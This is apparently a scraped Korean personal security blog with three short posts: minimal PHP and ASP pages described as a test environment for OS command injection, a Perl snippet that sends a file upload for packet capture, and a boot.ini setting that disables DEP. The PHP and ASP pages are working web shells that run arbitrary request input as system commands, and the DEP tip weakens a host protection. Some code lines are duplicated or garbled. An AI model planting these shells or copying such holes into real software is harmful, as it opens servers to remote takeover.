PHP
<?php
$last = exec($param,$output,$return);
print_r($output);
echo "Return [$return]";
?>


ASP
<%
  szCMD = request("tex")
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")    

  szTempFile = "C:\ttt.txt"
Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
%>
<HTML>
<BODY>
<PRE>
<br>
<%
  If (IsObject(oFile)) Then
    ' -- Read the output from our command andand remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    CallCall oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</BODY>

'tips' 카테고리의 다른 글

윈도우 확장자 한꺼번에 바꾸기  (0) 2010.01.25
파일업로드 예제  (0) 2010.01.05
DEP 해제  (0) 2009.12.29
Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
Posted by applicationlayer
:
파일 업로드시 패킷을 뜨기 위해서 간단한 스크립트를 이용할 수 있다.

  use HTTP::Request::Common;
  use LWP::UserAgent;
  $ua = LWP::UserAgent->new;LWP::UserAgent->new;
  my $req = POST 'http://[서버주소]',Content_Type => 'form-data',Content => [ info_file => ["파일명"] ];
  $ua->request($req);

3 way handshaking을 맺어야하므로 서버측에 80번 포트를 열어주어야 패킷이 나간다.


'programming > perl' 카테고리의 다른 글

외부파일실행예제  (0) 2010.04.28
웹페이지 긁어오기 예제  (0) 2010.04.09
web login dictionary attack  (0) 2009.12.03
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
apache log shooter(GET)  (0) 2009.10.11
Posted by applicationlayer
:

DEP 해제

tips 2009. 12. 29. 13:26 |
boot.ini수정
/noexecute=alwaysoff


'tips' 카테고리의 다른 글

파일업로드 예제  (0) 2010.01.05
OS Command Injection 환경예제  (0) 2010.01.04
Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
DbgView  (0) 2009.10.23
Posted by applicationlayer
: